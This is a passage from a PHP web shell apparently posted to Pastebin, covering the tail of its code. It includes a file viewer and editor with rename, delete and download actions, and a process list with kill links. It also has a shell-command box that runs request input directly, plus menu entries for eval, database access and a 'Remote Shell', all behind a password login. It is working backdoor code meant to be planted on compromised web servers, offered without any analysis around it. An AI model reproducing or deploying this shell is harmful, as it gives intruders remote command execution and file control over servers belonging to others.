  1331. $s_result .= "<table class=\"viewfile\" style=\"width:100%;\">
  1332. <tr><td style=\"width:140px;\">Filename</td><td><span id=\"".cs($filn)."_link\">".$f."</span>
  1333. <form action=\"" . $_SERVER['PHP_SELF'] . "?d=".$pwd."&amp;view=".$f."\" method=\"post\" id=\"".cs($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  1334. <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  1335. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  1336. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  1337. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  1338. onclick=\"tukar('".cs($filn)."_link','".cs($filn)."_form');\" />
  1339. </form>
  1340. </td></tr>
  1341. <tr><td>Size</td><td>".gs($f)."</td></tr>
  1342. <tr><td>Permission</td><td>".gp($f)."</td></tr>
  1343. <tr><td>Owner</td><td>".$owner."</td></tr>
  1344. <tr><td>Create time</td><td>".date("d-M-Y H:i",filectime($f))."</td></tr>
  1345. <tr><td>Last modified</td><td>".date("d-M-Y H:i",filemtime($f))."</td></tr>
  1346. <tr><td>Last accessed</td><td>".date("d-M-Y H:i",fileatime($f))."</td></tr>
  1347. <tr><td>Actions</td><td>
  1348. <a href=\"?d=".$pwd."&amp;edit=".$f."\">edit</a> |
  1349. <a href=\"javascript:tukar('".cs($filn)."_link','".cs($filn)."_form');\">rename</a> |
  1350. <a href=\"?d=".$pwd."&amp;delete=".$f."\">delete</a> |
  1351. <a href=\"?d=".$pwd."&amp;dl=".$f."\">download</a>&nbsp;(<a href=\"?d=".$pwd."&amp;dlgzip=$f\">gzip</a>)</td></tr>
  1352. <tr><td>View</td><td>
  1353. <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=text\">text</a> |
  1354. <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=code\">code</a> |
  1355. <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=image\">image</a></td></tr>
  1356. </table>
  1357. ";
  1358. $t = "";
  1359. $iinfo = getimagesize($f);
  1360. if(substr($filn,-3,3) == "php") $t = "code";
  1361. if(is_array($iinfo)) $t = 'image';
  1362.  
  1363. if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']);
  1364.  
  1365. if($t=="image"){
  1366. $width = (int) $iinfo[0];
  1367. $height = (int) $iinfo[1];
  1368. $imginfo = "Image type = ( ".$iinfo['mime']." )<br />
  1369. Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
  1370. if($width > 800){
  1371. $width = 800;
  1372. $imglink = "<p><a href=\"?d=".$pwd."&amp;img=".$filn."\" target=\"_blank\">
  1373. <span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
  1374. }
  1375. else $imglink = "";
  1376.  
  1377. $s_result .= "<div class=\"viewfilecontent\" style=\"text-align:center;\">".$imglink."
  1378. <img width=\"".$width."\" src=\"?d=".$pwd."&amp;img=".$filn."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
  1379.  
  1380. }
  1381. elseif($t=="code"){
  1382. $s_result .= "<div class=\"viewfilecontent\">";
  1383. $file = wordwrap(file_get_contents($f),160,"\n",true);
  1384. $buff = highlight_string($file,true);
  1385. $old = array("0000BB","000000","FF8000","DD0000", "007700");
  1386. $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
  1387. $buff = str_ireplace($old,$new, $buff);
  1388. $s_result .= $buff;
  1389. $s_result .= "</div>";
  1390. }
  1391. else {
  1392. $s_result .= "<div class=\"viewfilecontent\">";
  1393. $s_result .= nl2br(htmlentities(wordwrap(file_get_contents($f),160,"\n",true)));
  1394. $s_result .= "</div>";
  1395. }
  1396. }
  1397. elseif(is_dir($f)){
  1398. chdir($f);
  1399. $pwd = cp(getcwd());
  1400. $s_result .= showdir($pwd,$s_prompt,$s_win);
  1401. }
  1402.  
  1403. } // edit file
  1404. elseif(isset($_REQUEST['edit'])){
  1405. $f = ss($_REQUEST['edit']);
  1406. $fc = "";
  1407. $fcs = "";
  1408.  
  1409. if(is_file($f)) $fc = file_get_contents($f);
  1410. if(isset($_REQUEST['fcsubmit'])){
  1411. $fc = ssc($_REQUEST['fc']);
  1412. if($filez = fopen($f,"w")){
  1413. $time = date("d-M-Y H:i",time());
  1414. if(fwrite($filez,$fc)) $fcs = "file saved <span class=\"gaya\">@</span> ".$time;
  1415. else $fcs = "failed to save";
  1416. fclose($filez);
  1417. }
  1418. else $fcs = "permission denied";
  1419. }
  1420. $s_result .= " <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\">
  1421. <textarea id=\"fc\" name=\"fc\" class=\"evalcode\">".htmlspecialchars($fc)."</textarea>
  1422. <p><input type=\"text\" class=\"inputz\" style=\"width:98%;\" name=\"edit\" value=\"".$f."\" /></p>
  1423. <p><input type=\"submit\" name=\"fcsubmit\" class=\"inputzbut\" value=\"Save !\" style=\"width:100px;height:25px;\" />
  1424. &nbsp;&nbsp;".$fcs."</p>
  1425. <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1426. </form>
  1427. ";
  1428.  
  1429. } // task manager
  1430. elseif(isset($_REQUEST['ps'])){
  1431. $s_result = "<table class=\"explore sortable\">";
  1432. if(!$s_win) $h = "ps -aux";
  1433. else $h = "tasklist /V /FO csv";
  1434. $wcount = 11;
  1435. $wexplode = " ";
  1436. if($s_win) $wexplode = "\",\"";
  1437.  
  1438.  
  1439. $res = exe($h);
  1440. if(trim($res)=='') $s_result .= "<p class=\"rs_result\">error: permission denied</p>";
  1441. else{
  1442. if(!$s_win) $res = preg_replace('#\ +#',' ',$res);
  1443.  
  1444. $psarr = explode("\n",$res);
  1445. $fi = true;
  1446. $tblcount = 0;
  1447.  
  1448. $check = explode($wexplode,$psarr[0]);
  1449. $wcount = count($check);
  1450.  
  1451. foreach($psarr as $psa){
  1452. if(trim($psa)!=''){
  1453. if($fi){
  1454. $fi = false;
  1455. $psln = explode($wexplode,$psa,$wcount);
  1456. $s_result .= "<tr><th>action</th>";
  1457. foreach($psln as $p){
  1458. $s_result .= "<th>".trim(trim(strtolower($p)),"\"")."</th>";
  1459. }
  1460. $s_result .= "</tr>";
  1461. }
  1462. else{
  1463. $psln = explode($wexplode,$psa,$wcount);
  1464. $s_result .= "<tr>";
  1465. $tblcount = 0;
  1466. foreach($psln as $p){
  1467. if(trim($p)=="") $p = "&nbsp;";
  1468. if($tblcount == 0){
  1469. $s_result .= "<td style=\"text-align:center;\"><a href=\"?ps&amp;d=".$pwd."&amp;pid=".trim(trim($psln[1]),"\"")."\">kill</a></td>
  1470. <td style=\"text-align:center;\">".trim(trim($p),"\"")."</td>";
  1471. $tblcount++;
  1472. }
  1473. else{
  1474. $tblcount++;
  1475. if($tblcount == count($psln)) $s_result .= "<td style=\"text-align:left;\">".trim(trim($p), "\"")."</td>";
  1476. else $s_result .= "<td style=\"text-align:center;\">".trim(trim($p), "\"")."</td>";
  1477. }
  1478. }
  1479. $s_result .= "</tr>";
  1480. }
  1481. }
  1482. }
  1483. $s_result .= "</table>";
  1484. }
  1485. }
  1486. else{
  1487. if(isset($_REQUEST['cmd'])){
  1488. $cmd = ss($_REQUEST['cmd']);
  1489. if(strlen($cmd) > 0){
  1490. if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){
  1491. $nd = trim($r[2]);
  1492. if(is_dir($nd)){
  1493. chdir($nd);
  1494. $pwd = cp(getcwd());
  1495. $s_result .= showdir($pwd,$s_prompt,$s_win);
  1496. }
  1497. elseif(is_dir($pwd.$nd)){
  1498. chdir($pwd.$nd);
  1499. $pwd = cp(getcwd());
  1500. $s_result .= showdir($pwd,$s_prompt,$s_win);
  1501. }
  1502. else $s_result .= "<pre>".$nd." is not a directory"."</pre>";
  1503. }
  1504. else{
  1505. $s_r = htmlspecialchars(exe($cmd));
  1506. if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
  1507. else $s_result .= showdir($pwd,$s_prompt,$s_win);
  1508. }
  1509. }
  1510. else $s_result .= showdir($pwd,$s_prompt,$s_win);
  1511. }
  1512. else $s_result .= showdir($pwd,$s_prompt,$s_win);
  1513. }
  1514.  
  1515.  
  1516. // print useful info
  1517. $s_info = "<table class=\"headtbl\"><tr><td>".$s_software."</td></tr>";
  1518. $s_info .= "<tr><td>".$s_system."</td></tr>";
  1519. if($s_id != "") $s_info .= "<tr><td>".$s_id."</td></tr>";
  1520. $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class=\"gaya\"> | </span>your ip : ".$s_my_ip."<span class=\"gaya\"> | </span>";
  1521. if($s_safemode) $s_info .= "safemode <span class=\"gaya\">ON</span>";
  1522. else $s_info .= "safemode <span class=\"gaya\">OFF</span>";
  1523. $s_info .= "<span class=\"gaya\"> | </span> Time @ Server : ".date("d M Y H:i:s",time());
  1524. $s_info .= "
  1525. </td></tr>
  1526. <tr><td style=\"text-align:left;\">
  1527. <table class=\"headtbls\"><tr>
  1528. <td>".trim($letters)."</td>
  1529. <td>
  1530. <span id=\"chpwd\">
  1531. &nbsp;<a href=\"javascript:tukar('chpwd','chpwdform')\">
  1532. <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />
  1533. &nbsp;&nbsp;</a>".swd($pwd)."</span>
  1534. <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" style=\"margin:0;padding:0;\">
  1535. <span class=\"sembunyi\" id=\"chpwdform\">
  1536. &nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">
  1537. <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />
  1538. </a>&nbsp;&nbsp;
  1539. <input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"".cp($pwd)."\" />
  1540. <input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"".$pwd."\" />
  1541. <input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view file / folder\" />
  1542. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />
  1543. </form>
  1544. </span>
  1545. </td></tr>
  1546. </table>
  1547. </td></tr>
  1548. </table>";
  1549. }
  1550. // OK now... thats the <brain>,, here comes the <head>
  1551. ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  1552. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  1553.  
  1554. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  1555.  
  1556. <head>
  1557. <title><?php echo $s_title; ?></title>
  1558. <link rel="SHORTCUT ICON" href="<?php echo $_SERVER['PHP_SELF']."?favicon"; ?>" />
  1559. <style type="text/css">
  1560.  
  1561. body
  1562. {
  1563. background:#000000;
  1564. font-size:11px;
  1565. font-family:Tahoma,Verdana,Arial;
  1566. color:#fff; }
  1567.  
  1568. #main
  1569. {
  1570. background:#111111;
  1571. padding:2px 8px; -moz-border-radius: 10px;
  1572. border-radius: 10px; width:100%;
  1573. }
  1574.  
  1575. #header{ margin:0; padding:0; text-align:left; }
  1576.  
  1577. #header td{ margin:0; padding:0; }
  1578.  
  1579. #header h1
  1580. {
  1581. font-size:20px;
  1582. padding:0; margin:0;
  1583. -webkit-transform: rotate(-13.37deg);
  1584. -moz-transform: rotate(-13.37deg);
  1585. }
  1586.  
  1587. #header h1
  1588. a{ color:red; }
  1589. a{ color:#ACE806; text-decoration:none; }
  1590.  
  1591. .headinfo
  1592. {
  1593.  
  1594. color:#04EAE2;
  1595. border-left:1px solid #04EAE2;
  1596. margin:6px; padding:2px 0 0 16px; }
  1597.  
  1598. .headtbl{ width:100%; }
  1599.  
  1600. .headtbls tr{ height:24px; vertical-align:middle; }
  1601.  
  1602. .gaya,
  1603.  
  1604. .ver
  1605. { color:white; font-weight:bold;
  1606. }
  1607.  
  1608. .ver
  1609. {
  1610. -webkit-transform: rotate(-13.37deg);
  1611. -moz-transform: rotate(-13.37deg); letter-spacing:2px;
  1612. }
  1613.  
  1614. #menu
  1615. {
  1616. background:#111111; margin:0 2px 4px 2px;
  1617. }
  1618.  
  1619. .menumi
  1620. {
  1621. padding:4px 8px; margin:0;
  1622. color:#ffffff;
  1623. background:#292929;
  1624. color:#AAFC3F;
  1625. text-decoration:none;
  1626. letter-spacing:2px;
  1627. -webkit-transform: rotate(-13.37deg);
  1628. -moz-transform: rotate(-13.37deg);
  1629. -moz-border-radius: 4px; border-radius: 4px; }
  1630.  
  1631. .menumi:hover
  1632. {
  1633. background:#363636;
  1634. -webkit-transform: rotate(13.37deg);
  1635. -moz-transform: rotate(13.37deg);
  1636. }
  1637.  
  1638. .inputz,
  1639.  
  1640. .prompt,
  1641.  
  1642. .evalcode
  1643. {
  1644. background:#111111;
  1645. border:0;
  1646. padding:2px;
  1647. border-bottom:1px solid #393939;
  1648. font-size:11px; color:white; }
  1649.  
  1650. .prompt
  1651. {
  1652. font-weight:bold;
  1653. }
  1654.  
  1655. .evalcode
  1656. {
  1657. width:100%; height:32em;
  1658. }
  1659.  
  1660. .inputzbut
  1661. {
  1662. font-size:11px;
  1663. background:#191919;
  1664. color:#AAFC3F;
  1665. margin:0 4px;
  1666. border:1px solid #222222; }
  1667.  
  1668. .explore
  1669. {
  1670. width:100%;
  1671. padding:4px 0;
  1672. }
  1673.  
  1674. .explore a
  1675. {
  1676. text-decoration:none;
  1677. }
  1678.  
  1679. .explore td
  1680. {
  1681. border-bottom:1px solid #222222;
  1682. padding:0 8px;
  1683. line-height:24px;
  1684. vertical-align:top;
  1685. }
  1686.  
  1687. .explore th
  1688. {
  1689. padding:3px 8px;
  1690. font-weight:normal;
  1691. background:#222222;
  1692. }
  1693.  
  1694. .explore tr:hover
  1695. {
  1696. background:#181818;
  1697. }
  1698.  
  1699. .sembunyi{
  1700. display:none;
  1701. padding:0;margin:0;
  1702. }
  1703.  
  1704. #result
  1705. {
  1706. -moz-border-radius: 10px;
  1707. border-radius: 10px;
  1708. border:1px solid #AAFC3F;
  1709. padding:4px 8px;
  1710. line-height:16px;
  1711. background:#111111;
  1712. color:#aaa;
  1713. margin:0 0 8px 0;
  1714. }
  1715.  
  1716. pre
  1717. {
  1718. padding:0 8px;
  1719. }
  1720.  
  1721. .phpinfo table
  1722. {
  1723. width:100%;
  1724. padding:18px 10px;
  1725. }
  1726.  
  1727. .phpinfo td
  1728. {
  1729. background:#111111;
  1730. color:silver;
  1731. padding:6px 8px;
  1732. border-bottom:1px solid #222222;
  1733. }
  1734.  
  1735. .phpinfo th, th
  1736. {
  1737. background:#181818;
  1738. font-weight:bold;
  1739. }
  1740.  
  1741. .phpinfo h2
  1742. {
  1743. text-align:right;
  1744. font-size:15px;
  1745. margin:30px 0 0 0;
  1746. background:#1c1c1c;
  1747. padding:10px;
  1748. letter-spacing:6px;
  1749. }
  1750.  
  1751. .phpinfo h2
  1752. {
  1753. border-bottom:1px solid #94D66B;
  1754. }
  1755.  
  1756. .phpinfo a
  1757. {
  1758. color:#cccccc;
  1759. }
  1760.  
  1761. .viewfile{ width:100%;
  1762. margin:0 0 4px 0;
  1763. border-bottom:1px solid #222222; }
  1764.  
  1765. .viewfile td
  1766. {
  1767. padding:2px 4px;
  1768. border-bottom:1px solid #222222;
  1769. background:#181818;
  1770. }
  1771.  
  1772. .viewfilecontent
  1773. {
  1774. padding:11px 8px;
  1775. }
  1776.  
  1777. .mybox
  1778. {
  1779. font-size:11px;
  1780. background:#191919;
  1781. color:#E004A5;
  1782. -moz-border-radius: 10px;
  1783. border-radius: 10px;
  1784. border:1px solid #94D66B;
  1785. padding:14px 8px;
  1786. margin:4px 0 8px 0;
  1787. }
  1788.  
  1789. .mybox h2
  1790. {
  1791. margin:0;
  1792. padding:0 0 8px 0;
  1793. border-bottom:1px solid #444444; }
  1794.  
  1795. .myboxtbl{ width:100%; }
  1796.  
  1797. .rs_result{ padding:0 12px;
  1798. border-bottom:1px solid #444444; }
  1799.  
  1800. .footer
  1801. {
  1802. text-align:right;
  1803. padding:0 16px;
  1804. font-size:10px;
  1805. letter-spacing:2px;
  1806. color:#111;
  1807. }
  1808. hr
  1809. {
  1810. border:1px solid #222;
  1811. }
  1812. </style>
  1813.  
  1814. <script type="text/javascript" src="<?php echo $_SERVER['PHP_SELF']."?sorttable"; ?>"></script>
  1815. <script type="text/javascript">
  1816. function tukar(l,b){
  1817. if(document.getElementById(l)) document.getElementById(l).style.display = 'none';
  1818. if(document.getElementById(b)) document.getElementById(b).style.display = 'block';
  1819. if(document.getElementById(l + '_')) document.getElementById(l + '_').focus();
  1820. }
  1821. function init(){
  1822. <?php if(isset($_REQUEST['cmd'])) echo "if(document.getElementById('cmd')) document.getElementById('cmd').focus();"; ?>
  1823. }
  1824. function clickcmd(){
  1825. var buff = document.getElementById('cmd');
  1826. if(buff.value == '- shell command -') buff.value = '';
  1827. }
  1828. </script>
  1829.  
  1830. </head>
  1831.  
  1832. <body onLoad="init();">
  1833. <table id="main"><tr><td><?php if($s_auth){ ?>
  1834. <div><table id="header"><tr><td style="width:80px;"><table><tr><td><h1><a href="?"><?php echo $s_name; ?></a></h1></td></tr><tr>
  1835. <td style="text-align:right;"><div class="ver"><?php echo $s_ver; ?></div></td></tr></table></td>
  1836. <td><div class="headinfo"><?php echo $s_info; ?></div></td></tr></table>
  1837. </div>
  1838. <div style="clear:both;"></div>
  1839. <div id="menu">
  1840. <table style="width:100%;"><tr>
  1841. <td><a href="?&d=<?php echo $pwd; ?>" title="Explorer"><div class="menumi"><font color="#FC14EC">x<font color="#C263F9">p<font color="#EA0976">l</div></a></td>
  1842. <td><a href="?ps&d=<?php echo $pwd; ?>" title="Display process status"><div class="menumi"><font color="#F9F911">p<font color="#C263F9">s</div></a></td>
  1843. <td><a href="?eval&d=<?php echo $pwd; ?>" title="PHP eval function"><div class="menumi"><font color="#F9840E">e<font color="#EA0976">v<font color="#AAFC3F">a<font color="#F9F911">l</div></a></td>
  1844. <td><a href="?phpinfo&d=<?php echo $pwd; ?>" title="Information about current state of PHP"><div class="menumi"><font color="#62FCED">p<font color="#F9F911">h<font color="#AAFC3F">p</div></a></td>
  1845. <td><a href="?db&d=<?php echo $pwd; ?>" title="Connect to database"><div class="menumi"><font color="#C263F9">d<font color="#EA0976">b</div></a></td>
  1846. <td><a href="?rs&d=<?php echo $pwd; ?>" title="Remote Shell"><div class="menumi"><font color="#EA0976">r<font color="#AAFC3F">s</div></a></td>
  1847. <td style="width:100%;padding:0 0 0 6px;">
  1848. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"><span class="prompt"><?php echo $s_prompt; ?></span>
  1849. <input id="cmd" onclick="clickcmd();" class="inputz" type="text" name="cmd" style="width:70%;" value="<?php
  1850. if(isset($_REQUEST['cmd'])) echo "";
  1851. else echo "- shell command -";
  1852. ?>" />
  1853. <noscript><input class="inputzbut" type="submit" value="Enter here !" name="submitcmd" style="width:80px;" /></noscript>
  1854. <input type="hidden" name="d" value="<?php echo $pwd; ?>" />
  1855. </form>
  1856. </td>
  1857. </tr>
  1858. </table>
  1859. </div>
  1860. <div id="content" id="box_shell">
  1861. <div id="result"><?php echo $s_result; ?></div>
  1862. </div><?php }
  1863. else{ ?>
  1864. <div style="width:100%;text-align:center;">
  1865. <font color="red">
  1866. <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  1867. <img src="?favicon" style="margin:2px;vertical-align:middle;" />
  1868. <b><?php echo $s_name; ?></b>&nbsp;<span class="gaya"><?php echo $s_ver; ?></span><input id="login" class="inputz" type="password" name="login" style="width:120px;" value="" />
  1869. <input class="inputzbut" type="submit" value="Login" name="submitlogin" style="width:55px;" />
  1870. </form>
  1871. </div>
  1872.  
  1873. <?php
  1874. }
  1875. // This end of the source, haha?
  1876. ?>
  1877. </td></tr></table>
  1878. <p class="footer">Jayalah Indonesiaku&nbsp;&copy;<?php echo date("Y",time())." ".$s_name; ?></p>
  1879. </body>
  1880. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!